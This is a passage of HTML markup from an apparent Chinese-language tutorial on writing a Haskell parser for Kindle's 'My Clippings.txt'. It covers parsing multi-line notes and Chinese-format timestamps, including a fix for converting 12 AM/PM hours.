&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;haskell&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pLine &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; takeWhileP &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;Just&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;a line&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;) (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&#x2F;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;*&lt;&#x2F;span&gt;&lt;span&gt; eol&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;takeWhileP&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的第一个参数是用来生成报错信息的，我们可以不必理会。第二个参数是一个函数，用来控制&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;takeWhileP&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;什么时候停——因为这是一个匹配整行的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;parser，所以遇到换行符（My Clippings.txt&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的换行符是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&quot;\r\n&quot;，而且可以肯定&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x27;\r&#x27;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不会出现在其他地方）才会停止。&lt;code&gt;takeWhileP&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;返回的直接是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Parser Text&lt;&#x2F;code&gt;，没有中间商赚差价。而且相比前面的版本，它会直接匹配一整行，少掉了每匹配一个普通字符都要回溯&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;eof&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的问题。&lt;&#x2F;p&gt;
&lt;p&gt;这下&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;pContent&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;大概能&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;parse
99%&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的标注&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;笔记内容了——等下，为什么还有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1%？因为内容部分有极少数可能是多行——这种情况一般出现在写笔记时手动换行的情况：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;世界上最简单的会计书 (会计极速入职晋级) (达雷尔·穆利斯)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;- 您在第 20 页（位置 #152）的笔记 | 添加于 2022年5月19日星期四 下午8:36:00&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Equity&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;初始投资&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;净值&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;是一回事啊&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;==========&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;前面已经提到“匹配多个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;x&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;直到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;y”的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;manyTill&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了，我们可以用它来匹配好几个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;pLine&lt;&#x2F;code&gt;，然后把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;[Text]&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;合并成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;Text&lt;&#x2F;code&gt;。不过，&lt;code&gt;manyTill&lt;&#x2F;code&gt;&lt;span class=&quot;halt&quot;&gt;（&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;many&lt;&#x2F;code&gt;）类似正则表达式的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;*&lt;&#x2F;code&gt;：匹配&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个也算成功。My Clippings.txt&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就算没有内容，也会空出来一行，所以我们至少能匹配到一个空行。表达“匹配多个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;x&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;直到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;y，并且至少有一个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;x”的函数，叫&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;someTill&lt;&#x2F;code&gt;。综上，我们可以写出：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;haskell&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pContent &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; T.&lt;&#x2F;span&gt;&lt;span&gt;intercalate &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;$&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; someTill pLine &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;string &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;==========&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;*&lt;&#x2F;span&gt;&lt;span&gt; eol&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;至此，匹配内容就没问题了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pUTCTime&quot;&gt;pUTCTime&lt;&#x2F;h3&gt;
&lt;p&gt;比匹配内容稍微繁琐的是匹配时间。其实一般来讲，编程语言的时间库自带&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;parse&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时间的函数，比如&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Haskell&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;parseTimeOrError&lt;&#x2F;code&gt;。不过很少有时间库能&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;parse&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中文，而&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;My Clippings.txt&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中用“上午&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;、&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;下午”表示&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;12&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;小时制的上下午，所以我们还是得自己动手。&lt;&#x2F;p&gt;
&lt;p&gt;前面的例子已经够多了，可以看到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;My Clippings.txt&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中的时间是类似“2022&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;5&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;19&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;日星期四
下午&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;8:36:00”的格式。我们可以由此写出：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;haskell&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;pUTCTime&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; :: Parser UTCTime&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pUTCTime &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; UTCTime&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;$&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; pDay &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;timeOfDayToTime &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;$&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; pTime&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;pDay&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; :: Parser Day&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pDay &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; fromGregorian &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;$&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; L.&lt;&#x2F;span&gt;&lt;span&gt;decimal &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&lt;&#x2F;span&gt;&lt;span&gt; char &amp;#39;年&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; L.&lt;&#x2F;span&gt;&lt;span&gt;decimal &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&lt;&#x2F;span&gt;&lt;span&gt; char &amp;#39;月&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; L.&lt;&#x2F;span&gt;&lt;span&gt;decimal &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&lt;&#x2F;span&gt;&lt;span&gt; takeP &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;Just&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;忽略“日星期几 ”&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 5&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;pTime&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; :: Parser TimeOfDay&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pTime &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; TimeOfDay&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;$&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; pHour &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; pMinute &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; pSecond&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;  where&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    pHour &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;$&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;$&lt;&#x2F;span&gt;&lt;span&gt; string &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;上午&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;|&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 12&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;$&lt;&#x2F;span&gt;&lt;span&gt; string &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;下午&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;*&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; L.&lt;&#x2F;span&gt;&lt;span&gt;decimal &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&lt;&#x2F;span&gt;&lt;span&gt; char &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    pMinute &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; L.&lt;&#x2F;span&gt;&lt;span&gt;decimal &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&lt;&#x2F;span&gt;&lt;span&gt; char &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    pSecond &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; L.&lt;&#x2F;span&gt;&lt;span&gt;decimal &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&lt;&#x2F;span&gt;&lt;span&gt; eol &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&lt;&#x2F;span&gt;&lt;span&gt; eol&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;UTCTime&lt;&#x2F;code&gt;、&lt;code&gt;timeOfDayToTime&lt;&#x2F;code&gt;、&lt;code&gt;fromGregorian&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;TimeOfDay&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是时间库中用于组装日期、时间的函数，可以不必理睬。&lt;code&gt;takeP&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;类似&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;takeWhileP&lt;&#x2F;code&gt;，不过把判断停止的函数换成了匹配几个字符就停止的数字。剩下的函数都是前面提过的，而且日期格式本身也很简单，所以不用说明了。&lt;&#x2F;p&gt;
&lt;p&gt;不过，上面的代码有一个问题：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;上午&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;12”会被转换成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;12&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;点，&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;下午&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;12”会被转换成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;24&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;点——正确的结果应该是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;点和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;12&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;点。错误的原因在于我直接把“上午”变成了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0，&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;下午”变成了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;12&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;去和接下来的数字相加。如果接下来的数字是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;12，应该有特殊处理才对（注意新增的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;zero12&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;函数&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;haskell&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;pTime &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; TimeOfDay&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;$&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; pHour &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; pMinute &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; pSecond&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;  where&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    pHour &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;$&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;$&lt;&#x2F;span&gt;&lt;span&gt; string &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;上午&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;|&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 12&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;$&lt;&#x2F;span&gt;&lt;span&gt; string &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;下午&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;*&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;zero12 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;$&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; L.&lt;&#x2F;span&gt;&lt;span&gt;decimal&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;*&lt;&#x2F;span&gt;&lt;span&gt; char &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    zero12 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;12&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; -- 上午12 -&amp;gt; 0，下午12 -&amp;gt; 12&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    zero12 x &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; x&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    pMinute &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; L.&lt;&#x2F;span&gt;&lt;span&gt;decimal &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;&amp;lt;*&lt;&#x2F;span&gt;&lt;span&gt; char &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
